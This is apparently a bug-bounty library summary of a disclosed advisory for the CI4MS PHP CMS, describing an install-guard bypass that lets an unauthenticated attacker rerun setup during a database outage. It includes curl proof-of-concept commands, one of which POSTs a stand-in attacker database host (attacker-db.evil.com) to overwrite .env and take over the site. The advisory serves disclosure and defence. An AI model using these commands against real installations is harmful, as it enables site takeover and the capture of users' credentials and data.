# CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass

ci4ms install guard fails open on cache miss during DB outage, letting unauthenticated attackers overwrite .env with attacker DB credentials for full takeover.

- Payout: Research
- Severity: high
- Program: ci4ms
- Found by: offset
- Disclosed: 2026-04-08
- CVE: CVE-2026-39393
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8rh5-4mvx-xj7j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8rh5-4mvx-xj7j
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** Install module route guard and setup wizard controller
**Root cause:** InstallFilter::before() blocks only when .env exists AND cache('settings') is non-empty; the Filters constructor silently swallows DB exceptions, leaving cache empty so the guard fails open.
**Steps:**
1. Confirm DB unreachable and settings cache expired/cleared so `cache('settings')` is empty.
2. `curl -s -o /dev/null -w "%{http_code}" http://target/install` returns 200 instead of 404.
3. POST to `/install` with `host=attacker-db.evil.com`, `dbname`, `dbusername`, `dbpassword`, `dbdriver=MySQLi`, `dbport=3306`, plus admin `username`/`password`/`email` — no CSRF token needed.
4. Follow redirect to `/install/dbsetup`; migrations run against attacker DB and admin account is created.
**How found:** Code review of InstallFilter::before() showing the dual-condition guard, then tracing the Filters constructor catch block that swallows DB exceptions and leaves cache empty.
**Exploitation:** During a DB outage coinciding with cache expiry, unauthenticated attacker POSTs to /install; copyEnvFile() overwrites .env and updateEnvSettings() writes attacker-controlled DB host, redirecting all app queries to attacker server and resetting the encryption key.
**Escalation:** Attacker DB receives all subsequent logins and form data; attacker controls data returned to the app, enabling content injection, phishing and privilege escalation.
**Insight:** When a guard ANDs a persistent check with a volatile cache check, look for the code path that populates the cache and whether its failure is swallowed — a silent catch turns the guard into fail-open.

## Proof of concept (copied exactly from the original report)

**curl POST overwriting .env with attacker DB host**

```
curl -X POST http://target/install \
  -d 'baseUrl=http://target/' \
  -d 'host=attacker-db.evil.com' \
  -d 'dbname=ci4ms' \
  -d 'dbusername=root' \
  -d 'dbpassword=pass' \
  -d 'dbdriver=MySQLi' \
  -d 'dbpre=' \
  -d 'dbport=3306' \
  -d 'name=Admin' \
  -d 'surname=Evil' \
  -d 'username=admin' \
  -d 'password=Evil1234!' \
  -d 'email=evil@attacker.com' \
  -d 'siteName=Pwned'
```

**curl check install route returns 200**

```
curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)
```

